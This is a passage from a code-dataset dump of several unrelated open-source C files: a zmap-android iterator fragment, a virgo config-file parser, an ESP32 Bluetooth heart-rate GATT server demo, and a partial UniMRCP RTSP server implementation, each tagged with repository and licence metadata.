it->num_threads; ++i) { sent += it->thread_shards[i].state.sent; } return sent; } shard_t* get_shard(iterator_t *it, uint8_t thread_id) { assert(thread_id < it->num_threads); return &it->thread_shards[thread_id]; } uint32_t iterator_get_curr_send_threads(iterator_t *it) { assert(it); return it->curr_threads; }
scarito/zmap-android
src/iterator.c
C
apache-2.0
2,428
/* * Copyright 2012 Rackspace * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #include "virgo.h" #include "virgo_paths.h" #include "virgo_error.h" #include "virgo__types.h" #include "virgo__conf.h" #include "virgo__util.h" #include <assert.h> #include <ctype.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #ifndef _WIN32 #include <limits.h> #include <unistd.h> #include <errno.h> #endif virgo_error_t* virgo_conf_service_name(virgo_t *v, const char *name) { if (v->service_name) { free((void*)v->service_name); } v->service_name = strdup(name); return VIRGO_SUCCESS; } virgo_error_t* virgo_conf_lua_bundle_path(virgo_t *v, const char *path) { if (v->lua_bundle_path) { free((void*)v->lua_bundle_path); } v->lua_bundle_path = strdup(path); return VIRGO_SUCCESS; } virgo_error_t* virgo_conf_lua_load_path(virgo_t *v, const char *path) { if (v->lua_load_path) { free((void*)v->lua_load_path); } v->lua_load_path = strdup(path); return VIRGO_SUCCESS; } virgo_error_t* virgo_conf_args(virgo_t *v) { virgo_error_t *err; const char *arg; char path[VIRGO_PATH_MAX]; short forced_zip = FALSE; arg = virgo__argv_get_value(v, "-z", "--zip"); if (arg != NULL) { err = virgo_conf_lua_load_path(v, arg); if (err) { return err; } forced_zip = TRUE; v->try_upgrade = FALSE; } if (virgo__argv_has_flag(v, "-o", "--no-upgrade")) { v->try_upgrade = FALSE; } if (virgo__argv_has_flag(v, "-r", "--exit-on-upgrade")) { v->exit_on_upgrade = TRUE; } if (virgo__argv_has_flag(v, "-p", "--restart-sysv-on-upgrade")) { v->restart_on_upgrade = TRUE; } arg = virgo__argv_get_value(v, "-l", "--logfile"); if (arg != NULL) { v->log_path = strdup(arg); } if (!forced_zip) { arg = virgo__argv_get_value(v, "-b", "--bundle-path"); if (arg) { virgo_conf_lua_bundle_path(v, arg); } /* bundle filename */ err = virgo__paths_get(v, VIRGO_PATH_BUNDLE, path, sizeof(path)); if (err) { return err; } err = virgo_conf_lua_load_path(v, path); if (err) { return err; } } return VIRGO_SUCCESS; } const char* virgo_conf_get(virgo_t *v, const char *key) { return virgo__conf_get(v, key); } static void nuke_newlines(char *p) { size_t i; size_t l = strlen(p); for (i = 0; i < l; i++) { if (p[i] == '\n') { p[i] = '\0'; } if (p[i] == '\r') { p[i] = '\0'; } } } static char* next_chunk(char **x_p) { char *p = *x_p; while (isspace(p[0])) { p++;}; nuke_newlines(p); *x_p = p; return strdup(p); } static void conf_insert_node_to_table(virgo_t *v, const char *key, const char *value) { lua_pushstring(v->L, key); lua_pushstring(v->L, value); lua_settable(v->L, -3); } static void conf_parse(virgo_t *v, FILE *fp) { char buf[8096]; char *p = NULL; while ((p = fgets(buf, sizeof(buf), fp)) != NULL) { char *key; virgo_conf_t *node; /* comment lines */ if (p[0] == '#') { continue; } while (isspace(p[0])) { p++;}; if (strlen(p) == 0) { continue; } /* Insert into list */ node = calloc(1, sizeof(*node)); node->next = v->config; v->config = node; /* calculate key/value pairs */ key = next_chunk(&p); p = key; while(!isspace(p[0])) { p++;}; *p = '\0'; /* null terminate key */ node->key = strdup(key); p++; while(isspace(p[0])) { p++;}; node->value = strdup(p); free(key); conf_insert_node_to_table(v, node->key, node->value); } } const char* virgo__conf_get(virgo_t *v, const char *key) { virgo_conf_t *p = v->config; if (strcmp("lua_load_path", key) == 0) { return v->lua_load_path; } while (p) { if (strcmp(p->key, key) == 0) { return p->value; } p = p->next; } return NULL; } void virgo__conf_destroy(virgo_t *v) { virgo_conf_t *p = v->config, *t; while (p) { t = p->next; free((void*)p->key); free((void*)p->value); free(p); p = t; } v->config = NULL; } static virgo_error_t* virgo__conf_get_path(virgo_t *v, const char **p_path) { #ifdef _WIN32 char *programdata; const char *path; path = virgo__argv_get_value(v, "-c", "--config"); if (path == NULL) { char gen_path[512]; programdata = getenv("ProgramData"); if (programdata == NULL) { return virgo_error_create(VIRGO_EINVAL, "Unable to get environment variable: \"ProgramData\"\n"); } sprintf(gen_path, "%s\\%s\\config\\%s", programdata, VIRGO_DEFAULT_CONFIG_WINDOWS_DIRECTORY, VIRGO_DEFAULT_CONFIG_FILENAME); *p_path = strdup(gen_path); return VIRGO_SUCCESS; } *p_path = strdup(path); return VIRGO_SUCCESS; #else /* !_WIN32 */ char *path; char buffer[PATH_MAX]; int count; path = (char*) virgo__argv_get_value(v, "-c", "--config"); if (path == NULL) { virgo__paths_get(v, VIRGO_PATH_CONFIG_DIR, buffer, sizeof(buffer)); count = strlen(buffer) + strlen(VIRGO_DEFAULT_CONFIG_FILENAME) + strlen(SEP) + 1; *p_path = (char*) malloc(count); snprintf((char*) *p_path, count, "%s%s%s", buffer, SEP, VIRGO_DEFAULT_CONFIG_FILENAME); return VIRGO_SUCCESS; } *p_path = strdup(path); return VIRGO_SUCCESS; #endif } virgo_error_t* virgo__conf_init(virgo_t *v) { virgo_error_t* err; FILE *fp; const char *path; err = virgo__conf_get_path(v, &path); if (err) { return err; } /* destroy config if already read */ if (v->config) { virgo__conf_destroy(v); } /* put config in virgo.config table */ fp = fopen(path, "r"); if (fp) { lua_getglobal(v->L, "virgo"); lua_pushstring(v->L, "config"); lua_newtable(v->L); conf_parse(v, fp); lua_settable(v->L, -3); fclose(fp); } lua_pushstring(v->L, "config_path"); lua_pushstring(v->L, path); lua_settable(v->L, -3); free((void*)path); return VIRGO_SUCCESS; }
cp16net/virgo-base
lib/virgo_conf.c
C
apache-2.0
6,480
// Copyright 2015-2016 Espressif Systems (Shanghai) PTE LTD // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "freertos/event_groups.h" #include "esp_system.h" #include "esp_log.h" #include "nvs_flash.h" #include "bt.h" #include "bta_api.h" #include "esp_gap_ble_api.h" #include "esp_gatts_api.h" #include "esp_bt_defs.h" #include "esp_bt_main.h" #include "esp_bt_main.h" #include "gatts_table_creat_demo.h" #define GATTS_TABLE_TAG "GATTS_TABLE_DEMO" #define HEART_PROFILE_NUM 1 #define HEART_PROFILE_APP_IDX 0 #define ESP_HEART_RATE_APP_ID 0x55 #define SAMPLE_DEVICE_NAME "ESP_HEART_RATE" #define SAMPLE_MANUFACTURER_DATA_LEN 17 #define HEART_RATE_SVC_INST_ID 0 #define GATTS_DEMO_CHAR_VAL_LEN_MAX 0x40 uint8_t char1_str[] ={0x11,0x22,0x33}; uint16_t heart_rate_handle_table[HRS_IDX_NB]; esp_attr_value_t gatts_demo_char1_val = { .attr_max_len = GATTS_DEMO_CHAR_VAL_LEN_MAX, .attr_len = sizeof(char1_str), .attr_value = char1_str, }; static uint8_t heart_rate_service_uuid[16] = { /* LSB <--------------------------------------------------------------------------------> MSB */ //first uuid, 16bit, [12],[13] is the value 0xfb, 0x34, 0x9b, 0x5f, 0x80, 0x00, 0x00, 0x80, 0x00, 0x10, 0x00, 0x00, 0x18, 0x0D, 0x00, 0x00, }; static esp_ble_adv_data_t heart_rate_adv_config = { .set_scan_rsp = false, .include_name = true, .include_txpower = true, .min_interval = 0x20, .max_interval = 0x40, .appearance = 0x00, .manufacturer_len = 0, //TEST_MANUFACTURER_DATA_LEN, .p_manufacturer_data = NULL, //&test_manufacturer[0], .service_data_len = 0, .p_service_data = NULL, .service_uuid_len = 32, .p_service_uuid = heart_rate_service_uuid, .flag = (ESP_BLE_ADV_FLAG_GEN_DISC | ESP_BLE_ADV_FLAG_BREDR_NOT_SPT), }; static esp_ble_adv_params_t heart_rate_adv_params = { .adv_int_min = 0x20, .adv_int_max = 0x40, .adv_type = ADV_TYPE_IND, .own_addr_type = BLE_ADDR_TYPE_PUBLIC, //.peer_addr = //.peer_addr_type = .channel_map = ADV_CHNL_ALL, .adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY, }; struct gatts_profile_inst { esp_gatts_cb_t gatts_cb; uint16_t gatts_if; uint16_t app_id; uint16_t conn_id; uint16_t service_handle; esp_gatt_srvc_id_t service_id; uint16_t char_handle; esp_bt_uuid_t char_uuid; esp_gatt_perm_t perm; esp_gatt_char_prop_t property; uint16_t descr_handle; esp_bt_uuid_t descr_uuid; }; static void gatts_profile_event_handler(esp_gatts_cb_event_t event, esp_gatt_if_t gatts_if, esp_ble_gatts_cb_param_t *param); /* One gatt-based profile one app_id and one gatts_if, this array will store the gatts_if returned by ESP_GATTS_REG_EVT */ static struct gatts_profile_inst heart_rate_profile_tab[HEART_PROFILE_NUM] = { [HEART_PROFILE_APP_IDX] = { .gatts_cb = gatts_profile_event_handler, .gatts_if = ESP_GATT_IF_NONE, /* Not get the gatt_if, so initial is ESP_GATT_IF_NONE */ }, }; /* * HTPT PROFILE ATTRIBUTES **************************************************************************************** */ /* * Heart Rate PROFILE ATTRIBUTES **************************************************************************************** */ /// Heart Rate Sensor Service static const uint16_t heart_rate_svc = ESP_GATT_UUID_HEART_RATE_SVC; #define CHAR_DECLARATION_SIZE (sizeof(uint8_t)) static const uint16_t primary_service_uuid = ESP_GATT_UUID_PRI_SERVICE; static const uint16_t character_declaration_uuid = ESP_GATT_UUID_CHAR_DECLARE; static const uint16_t character_client_config_uuid = ESP_GATT_UUID_CHAR_CLIENT_CONFIG; static const uint8_t char_prop_notify = ESP_GATT_CHAR_PROP_BIT_NOTIFY; static const uint8_t char_prop_read = ESP_GATT_CHAR_PROP_BIT_READ; static const uint8_t char_prop_read_write = ESP_GATT_CHAR_PROP_BIT_WRITE|ESP_GATT_CHAR_PROP_BIT_READ; /// Heart Rate Sensor Service - Heart Rate Measurement Characteristic, notify static const uint16_t heart_rate_meas_uuid = ESP_GATT_HEART_RATE_MEAS; static const uint8_t heart_measurement_ccc[2] ={ 0x00, 0x00}; /// Heart Rate Sensor Service -Body Sensor Location characteristic, read static const uint16_t body_sensor_location_uuid = ESP_GATT_BODY_SENSOR_LOCATION; static const uint8_t body_sensor_loc_val[1] = {0x00}; /// Heart Rate Sensor Service - Heart Rate Control Point characteristic, write&read static const uint16_t heart_rate_ctrl_point = ESP_GATT_HEART_RATE_CNTL_POINT; static const uint8_t heart_ctrl_point[1] = {0x00}; /// Full HRS Database Description - Used to add attributes into the database static const esp_gatts_attr_db_t heart_rate_gatt_db[HRS_IDX_NB] = { // Heart Rate Service Declaration [HRS_IDX_SVC] = {{ESP_GATT_AUTO_RSP}, {ESP_UUID_LEN_16, (uint8_t *)&primary_service_uuid, ESP_GATT_PERM_READ, sizeof(uint16_t), sizeof(heart_rate_svc), (uint8_t *)&heart_rate_svc}}, // Heart Rate Measurement Characteristic Declaration [HRS_IDX_HR_MEAS_CHAR] = {{ESP_GATT_AUTO_RSP}, {ESP_UUID_LEN_16, (uint8_t *)&character_declaration_uuid, ESP_GATT_PERM_READ, CHAR_DECLARATION_SIZE,CHAR_DECLARATION_SIZE, (uint8_t *)&char_prop_notify}}, // Heart Rate Measurement Characteristic Value [HRS_IDX_HR_MEAS_VAL] = {{ESP_GATT_AUTO_RSP}, {ESP_UUID_LEN_16, (uint8_t *)&heart_rate_meas_uuid, ESP_GATT_PERM_READ, HRPS_HT_MEAS_MAX_LEN,0, NULL}}, // Heart Rate Measurement Characteristic - Client Characteristic Configuration Descriptor [HRS_IDX_HR_MEAS_NTF_CFG] = {{ESP_GATT_AUTO_RSP}, {ESP_UUID_LEN_16, (uint8_t *)&character_client_config_uuid, ESP_GATT_PERM_READ|ESP_GATT_PERM_WRITE, sizeof(uint16_t),sizeof(heart_measurement_ccc), (uint8_t *)heart_measurement_ccc}}, // Body Sensor Location Characteristic Declaration [HRS_IDX_BOBY_SENSOR_LOC_CHAR] = {{ESP_GATT_AUTO_RSP}, {ESP_UUID_LEN_16, (uint8_t *)&character_declaration_uuid, ESP_GATT_PERM_READ, CHAR_DECLARATION_SIZE,CHAR_DECLARATION_SIZE, (uint8_t *)&char_prop_read}}, // Body Sensor Location Characteristic Value [HRS_IDX_BOBY_SENSOR_LOC_VAL] = {{ESP_GATT_AUTO_RSP}, {ESP_UUID_LEN_16, (uint8_t *)&body_sensor_location_uuid, ESP_GATT_PERM_READ, sizeof(uint8_t), sizeof(body_sensor_loc_val), (uint8_t *)body_sensor_loc_val}}, // Heart Rate Control Point Characteristic Declaration [HRS_IDX_HR_CTNL_PT_CHAR] = {{ESP_GATT_AUTO_RSP}, {ESP_UUID_LEN_16, (uint8_t *)&character_declaration_uuid, ESP_GATT_PERM_READ, CHAR_DECLARATION_SIZE,CHAR_DECLARATION_SIZE, (uint8_t *)&char_prop_read_write}}, // Heart Rate Control Point Characteristic Value [HRS_IDX_HR_CTNL_PT_VAL] = {{ESP_GATT_AUTO_RSP}, {ESP_UUID_LEN_16, (uint8_t *)&heart_rate_ctrl_point, ESP_GATT_PERM_WRITE|ESP_GATT_PERM_READ, sizeof(uint8_t), sizeof(heart_ctrl_point), (uint8_t *)heart_ctrl_point}}, }; static void gap_event_handler(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { ESP_LOGE(GATTS_TABLE_TAG, "GAP_EVT, event %d\n", event); switch (event) { case ESP_GAP_BLE_ADV_DATA_SET_COMPLETE_EVT: esp_ble_gap_start_advertising(&heart_rate_adv_params); break; case ESP_GAP_BLE_ADV_START_COMPLETE_EVT: //advertising start complete event to indicate advertising start successfully or failed if (param->adv_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { ESP_LOGE(GATTS_TABLE_TAG, "Advertising start failed\n"); } break; default: break; } } static void gatts_profile_event_handler(esp_gatts_cb_event_t event, esp_gatt_if_t gatts_if, esp_ble_gatts_cb_param_t *param) { ESP_LOGE(GATTS_TABLE_TAG, "event = %x\n",event); switch (event) { case ESP_GATTS_REG_EVT: ESP_LOGI(GATTS_TABLE_TAG, "%s %d\n", __func__, __LINE__); esp_ble_gap_set_device_name(SAMPLE_DEVICE_NAME); ESP_LOGI(GATTS_TABLE_TAG, "%s %d\n", __func__, __LINE__); esp_ble_gap_config_adv_data(&heart_rate_adv_config); ESP_LOGI(GATTS_TABLE_TAG, "%s %d\n", __func__, __LINE__); esp_ble_gatts_create_attr_tab(heart_rate_gatt_db, gatts_if, HRS_IDX_NB, HEART_RATE_SVC_INST_ID); break; case ESP_GATTS_READ_EVT: break; case ESP_GATTS_WRITE_EVT: break; case ESP_GATTS_EXEC_WRITE_EVT: break; case ESP_GATTS_MTU_EVT: break; case ESP_GATTS_CONF_EVT: break; case ESP_GATTS_UNREG_EVT: break; case ESP_GATTS_DELETE_EVT: break; case ESP_GATTS_START_EVT: break; case ESP_GATTS_STOP_EVT: break; case ESP_GATTS_CONNECT_EVT: break; case ESP_GATTS_DISCONNECT_EVT: break; case ESP_GATTS_OPEN_EVT: break; case ESP_GATTS_CANCEL_OPEN_EVT: break; case ESP_GATTS_CLOSE_EVT: break; case ESP_GATTS_LISTEN_EVT: break; case ESP_GATTS_CONGEST_EVT: break; case ESP_GATTS_CREAT_ATTR_TAB_EVT:{ ESP_LOGE(GATTS_TABLE_TAG, "The number handle =%x\n",param->add_attr_tab.num_handle); if(param->add_attr_tab.num_handle == HRS_IDX_NB){ memcpy(heart_rate_handle_table, param->add_attr_tab.handles, sizeof(heart_rate_handle_table)); esp_ble_gatts_start_service(heart_rate_handle_table[HRS_IDX_SVC]); } break; } default: break; } } static void gatts_event_handler(esp_gatts_cb_event_t event, esp_gatt_if_t gatts_if, esp_ble_gatts_cb_param_t *param) { ESP_LOGI(GATTS_TABLE_TAG, "EVT %d, gatts if %d\n", event, gatts_if); /* If event is register event, store the gatts_if for each profile */ if (event == ESP_GATTS_REG_EVT) { if (param->reg.status == ESP_GATT_OK) { heart_rate_profile_tab[HEART_PROFILE_APP_IDX].gatts_if = gatts_if; } else { ESP_LOGI(GATTS_TABLE_TAG, "Reg app failed, app_id %04x, status %d\n", param->reg.app_id, param->reg.status); return; } } do { int idx; for (idx = 0; idx < HEART_PROFILE_NUM; idx++) { if (gatts_if == ESP_GATT_IF_NONE || /* ESP_GATT_IF_NONE, not specify a certain gatt_if, need to call every profile cb function */ gatts_if == heart_rate_profile_tab[idx].gatts_if) { if (heart_rate_profile_tab[idx].gatts_cb) { heart_rate_profile_tab[idx].gatts_cb(event, gatts_if, param); } } } } while (0); } void app_main() { esp_err_t ret; esp_bt_controller_init(); ret = esp_bt_controller_enable(ESP_BT_MODE_BTDM); if (ret) { ESP_LOGE(GATTS_TABLE_TAG, "%s enable controller failed\n", __func__); return; } ESP_LOGI(GATTS_TABLE_TAG, "%s init bluetooth\n", __func__); ret = esp_bluedroid_init(); if (ret) { ESP_LOGE(GATTS_TABLE_TAG, "%s init bluetooth failed\n", __func__); return; } ret = esp_bluedroid_enable(); if (ret) { ESP_LOGE(GATTS_TABLE_TAG, "%s enable bluetooth failed\n", __func__); return; } esp_ble_gatts_register_callback(gatts_event_handler); esp_ble_gap_register_callback(gap_event_handler); esp_ble_gatts_app_register(ESP_HEART_RATE_APP_ID); return; }
wmpluto/esp-idf
examples/bluetooth/gatt_server_service_table/main/gatts_table_creat_demo.c
C
apache-2.0
12,057
/* * Copyright 2008-2015 Arsen Chaloyan * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifdef WIN32 #pragma warning(disable: 4127) #endif #include <apr_ring.h> #include <apr_hash.h> #include "rtsp_server.h" #include "rtsp_stream.h" #include "apt_poller_task.h" #include "apt_text_stream.h" #include "apt_pool.h" #include "apt_obj_list.h" #include "apt_log.h" #define RTSP_SESSION_ID_HEX_STRING_LENGTH 16 #define RTSP_STREAM_BUFFER_SIZE 1024 typedef struct rtsp_server_connection_t rtsp_server_connection_t; /** RTSP server */ struct rtsp_server_t { apr_pool_t *pool; apt_poller_task_t *task; /** List (ring) of RTSP connections */ APR_RING_HEAD(rtsp_server_connection_head_t, rtsp_server_connection_t) connection_list; apr_uint32_t inactivity_timeout; apt_bool_t online; /* Listening socket descriptor */ apr_sockaddr_t *sockaddr; apr_socket_t *listen_sock; apr_pollfd_t listen_sock_pfd; void *obj; const rtsp_server_vtable_t *vtable; }; /** RTSP connection */ struct rtsp_server_connection_t { /** Ring entry */ APR_RING_ENTRY(rtsp_server_connection_t) link; /** Memory pool */ apr_pool_t *pool; /** Client IP address */ char *client_ip; /** Accepted socket */ apr_socket_t *sock; /** Socket poll descriptor */ apr_pollfd_t sock_pfd; /** String identifier used for traces */ const char *id; /** RTSP server, connection belongs to */ rtsp_server_t *server; /** Session table (rtsp_server_session_t*) */ apr_hash_t *session_table; char rx_buffer[RTSP_STREAM_BUFFER_SIZE]; apt_text_stream_t rx_stream; rtsp_parser_t *parser; char tx_buffer[RTSP_STREAM_BUFFER_SIZE]; apt_text_stream_t tx_stream; rtsp_generator_t *generator; /** Inactivity timer */ apt_timer_t *inactivity_timer; }; /** RTSP session */ struct rtsp_server_session_t { apr_pool_t *pool; void *obj; rtsp_server_connection_t *connection; /** Session identifier */ apt_str_t id; /** Last cseq sent */ apr_size_t last_cseq; /** In-progress request */ rtsp_message_t *active_request; /** request queue */ apt_obj_list_t *request_queue; /** Resource table */ apr_hash_t *resource_table; /** In-progress termination request */ apt_bool_t terminating; }; typedef enum { TASK_MSG_SEND_MESSAGE, TASK_MSG_TERMINATE_SESSION, TASK_MSG_RELEASE_SESSION } task_msg_data_type_e; typedef struct task_msg_data_t task_msg_data_t; struct task_msg_data_t { task_msg_data_type_e type; rtsp_server_t *server; rtsp_server_session_t *session; rtsp_message_t *message; }; static apt_bool_t rtsp_server_on_destroy(apt_task_t *task); static void rtsp_server_on_offline(apt_task_t *task); static void rtsp_server_on_online(apt_task_t *task); static apt_bool_t rtsp_server_task_msg_process(apt_task_t *task, apt_task_msg_t *msg); static apt_bool_t rtsp_server_poller_signal_process(void *obj, const apr_pollfd_t *descriptor); static apt_bool_t rtsp_server_message_send(rtsp_server_t *server, rtsp_server_connection_t *connection, rtsp_message_t *message); static apt_bool_t rtsp_server_session_terminate_request(rtsp_server_t *server, rtsp_server_session_t *session); static apt_bool_t rtsp_server_listening_socket_create(rtsp_server_t *server); static void rtsp_server_listening_socket_destroy(rtsp_server_t *server); static void rtsp_server_inactivity_timer_proc(apt_timer_t *timer, void *obj); /** Get string identifier */ static const char* rtsp_server_id_get(const rtsp_server_t *server) { apt_task_t *task = apt_poller_task_base_get(server->task); return apt_task_name_get(task); } /** Create RTSP server */ RTSP_DECLARE(rtsp_server_t*) rtsp_server_create( const char *id, const char *listen_ip, apr_port_t listen_port, apr_size_t max_connection_count, apr_size_t connection_timeout, void *obj, const rtsp_server_vtable_t *handler, apr_pool_t *pool) { apt_task_t *task; apt_task_vtable_t *vtable; apt_task_msg_pool_t *msg_pool; rtsp_server_t *server; if(!listen_ip) { return NULL; } apt_log(RTSP_LOG_MARK,APT_PRIO_NOTICE,"Create RTSP Server [%s] %s:%hu [%"APR_SIZE_T_FMT"] connection timeout [%"APR_SIZE_T_FMT" sec]", id, listen_ip, listen_port, max_connection_count, connection_timeout); server = apr_palloc(pool,sizeof(rtsp_server_t)); server->pool = pool; server->obj = obj; server->vtable = handler; server->inactivity_timeout = (apr_uint32_t)connection_timeout * 1000; server->online = TRUE; server->listen_sock = NULL; server->sockaddr = NULL; apr_sockaddr_info_get(&server->sockaddr,listen_ip,APR_INET,listen_port,0,pool); if(!server->sockaddr) { return NULL; } msg_pool = apt_task_msg_pool_create_dynamic(sizeof(task_msg_data_t),pool); server->task = apt_poller_task_create( max_connection_count + 1, rtsp_server_poller_signal_process, server, msg_pool, pool); if(!server->task) { return NULL; } task = apt_poller_task_base_get(server->task); if(task) { apt_task_name_set(task,id); } vtable = apt_poller_task_vtable_get(server->task); if(vtable) { vtable->destroy = rtsp_server_on_destroy; vtable->on_offline_complete = rtsp_server_on_offline; vtable->on_online_complete = rtsp_server_on_online; vtable->process_msg = rtsp_server_task_msg_process; } APR_RING_INIT(&server->connection_list, rtsp_server_connection_t, link); if(rtsp_server_listening_socket_create(server) != TRUE) { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Listening Socket [%s] %s:%hu", id, listen_ip, listen_port); } return server; } static apt_bool_t rtsp_server_on_destroy(apt_task_t *task) { apt_poller_task_t *poller_task = apt_task_object_get(task); rtsp_server_t *server = apt_poller_task_object_get(poller_task); rtsp_server_listening_socket_destroy(server); apt_poller_task_cleanup(poller_task); return TRUE; } /** Destroy RTSP server */ RTSP_DECLARE(apt_bool_t) rtsp_server_destroy(rtsp_server_t *server) { apt_log(RTSP_LOG_MARK,APT_PRIO_NOTICE,"Destroy RTSP Server [%s]", rtsp_server_id_get(server)); return apt_poller_task_destroy(server->task); } /** Start connection agent */ RTSP_DECLARE(apt_bool_t) rtsp_server_start(rtsp_server_t *server) { return apt_poller_task_start(server->task); } /** Terminate connection agent */ RTSP_DECLARE(apt_bool_t) rtsp_server_terminate(rtsp_server_t *server) { return apt_poller_task_terminate(server->task); } /** Get task */ RTSP_DECLARE(apt_task_t*) rtsp_server_task_get(const rtsp_server_t *server) { return apt_poller_task_base_get(server->task); } /** Get external object */ RTSP_DECLARE(void*) rtsp_server_object_get(const rtsp_server_t *server) { return server->obj; } /** Get object associated with the session */ RTSP_DECLARE(void*) rtsp_server_session_object_get(const rtsp_server_session_t *session) { return session->obj; } /** Set object associated with the session */ RTSP_DECLARE(void) rtsp_server_session_object_set(rtsp_server_session_t *session, void *obj) { session->obj = obj; } /** Get the session identifier */ RTSP_DECLARE(const apt_str_t*) rtsp_server_session_id_get(const rtsp_server_session_t *session) { return &session->id; } /** Get active request */ RTSP_DECLARE(const rtsp_message_t*) rtsp_server_session_request_get(const rtsp_server_session_t *session) { return session->active_request; } /** Get the session destination (client) IP address */ RTSP_DECLARE(const char*) rtsp_server_session_destination_get(const rtsp_server_session_t *session) { if(session->connection) { return session->connection->client_ip; } return NULL; } /** Signal task message */ static apt_bool_t rtsp_server_control_message_signal( task_msg_data_type_e type, rtsp_server_t *server, rtsp_server_session_t *session, rtsp_message_t *message) { apt_task_t *task = apt_poller_task_base_get(server->task); apt_task_msg_t *task_msg = apt_task_msg_get(task); if(task_msg) { task_msg_data_t *data = (task_msg_data_t*)task_msg->data; data->type = type; data->server = server; data->session = session; data->message = message; apt_task_msg_signal(task,task_msg); } return TRUE; } /** Signal RTSP message */ RTSP_DECLARE(apt_bool_t) rtsp_server_session_respond(rtsp_server_t *server, rtsp_server_session_t *session, rtsp_message_t *message) { return rtsp_server_control_message_signal(TASK_MSG_SEND_MESSAGE,server,session,message); } /** Signal terminate response */ RTSP_DECLARE(apt_bool_t) rtsp_server_session_terminate(rtsp_server_t *server, rtsp_server_session_t *session) { return rtsp_server_control_message_signal(TASK_MSG_TERMINATE_SESSION,server,session,NULL); } /** Signal release event/request */ RTSP_DECLARE(apt_bool_t) rtsp_server_session_release(rtsp_server_t *server, rtsp_server_session_t *session) { return rtsp_server_control_message_signal(TASK_MSG_RELEASE_SESSION,server,session,NULL); } /* Create RTSP session */ static rtsp_server_session_t* rtsp_server_session_create(rtsp_server_t *server) { rtsp_server_session_t *session; apr_pool_t *pool = apt_pool_create(); session = apr_palloc(pool,sizeof(rtsp_server_session_t)); session->pool = pool; session->obj = NULL; session->last_cseq = 0; session->active_request = NULL; session->request_queue = apt_list_create(pool); session->resource_table = apr_hash_make(pool); session->terminating = FALSE; apt_unique_id_generate(&session->id,RTSP_SESSION_ID_HEX_STRING_LENGTH,pool); apt_log(RTSP_LOG_MARK,APT_PRIO_NOTICE,"Create RTSP Session " APT_SID_FMT,session->id.buf); if(server->vtable->create_session(server,session) != TRUE) { apr_pool_destroy(pool); return NULL; } return session; } /* Destroy RTSP session */ static void rtsp_server_session_destroy(rtsp_server_session_t *session) { apt_log(RTSP_LOG_MARK,APT_PRIO_NOTICE,"Destroy RTSP Session " APT_SID_FMT, session ? session->id.buf : "(null)"); if(session && session->pool) { apr_pool_destroy(session->pool); } } /** Destroy RTSP connection */ static void rtsp_server_connection_destroy(rtsp_server_connection_t *rtsp_connection) { apt_log(RTSP_LOG_MARK,APT_PRIO_NOTICE,"Destroy RTSP Connection %s",rtsp_connection->id); apr_pool_destroy(rtsp_connection->pool); } /* Finally terminate RTSP session */ static apt_bool_t rtsp_server_session_do_terminate(rtsp_server_t *server, rtsp_server_session_t *session) { rtsp_server_connection_t *rtsp_connection = session->connection; if(session->active_request) { rtsp_message_t *response = rtsp_response_create(session->active_request, RTSP_STATUS_CODE_OK,RTSP_REASON_PHRASE_OK,session->active_request->pool); if(response) { if(session->id.buf) { response->header.session_id = session->id; rtsp_header_property_add(&response->header,RTSP_HEADER_FIELD_SESSION_ID,response->pool); } if(rtsp_connection) { rtsp_server_message_send(server,rtsp_connection,response); } } } apt_log(RTSP_LOG_MARK,APT_PRIO_INFO,"Remove RTSP Session " APT_SID_FMT,session->id.buf); if(rtsp_connection) { apr_hash_set(rtsp_connection->session_table,session->id.buf,session->id.length,NULL); } rtsp_server_session_destroy(session); if(rtsp_connection && !rtsp_connection->sock) { if(apr_hash_count(rtsp_connection->session_table) == 0) { rtsp_server_connection_destroy(rtsp_connection); } } return TRUE; } /* Release RTSP session (internal event/request) */ static apt_bool_t rtsp_server_session_do_release(rtsp_server_t *server, rtsp_server_session_t *session) { /* Initiate regular session termination now */ apt_log(RTSP_LOG_MARK,APT_PRIO_INFO,"Release RTSP Session " APT_SID_FMT,session->id.buf); return rtsp_server_session_terminate_request(server,session); } static apt_bool_t rtsp_server_error_respond(rtsp_server_t *server, rtsp_server_connection_t *rtsp_connection, rtsp_message_t *request, rtsp_status_code_e status_code, rtsp_reason_phrase_e reason) { /* send error response to client */ rtsp_message_t *response = rtsp_response_create(request,status_code,reason,request->pool); if(rtsp_server_message_send(server,rtsp_connection,response) == FALSE) { apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Failed to Send RTSP Response"); return FALSE; } return TRUE; } static apt_bool_t rtsp_server_session_terminate_request(rtsp_server_t *server, rtsp_server_session_t *session) { if(session->terminating == TRUE) { /* error case, session is being terminated */ apt_log(RTSP_LOG_MARK,APT_PRIO_WARNING,"Session Termination Already Initiated " APT_SID_FMT,session->id.buf); return FALSE; } session->terminating = TRUE; return server->vtable->terminate_session(server,session); } static apt_bool_t rtsp_server_session_message_handle(rtsp_server_t *server, rtsp_server_session_t *session, rtsp_message_t *message) { if(message->start_line.common.request_line.method_id == RTSP_METHOD_TEARDOWN) { /* remove resource */ const char *resource_name = message->start_line.common.request_line.resource_name; apr_hash_set(session->resource_table,resource_name,APR_HASH_KEY_STRING,NULL); if(apr_hash_count(session->resource_table) == 0) { rtsp_server_session_terminate_request(server,session); return 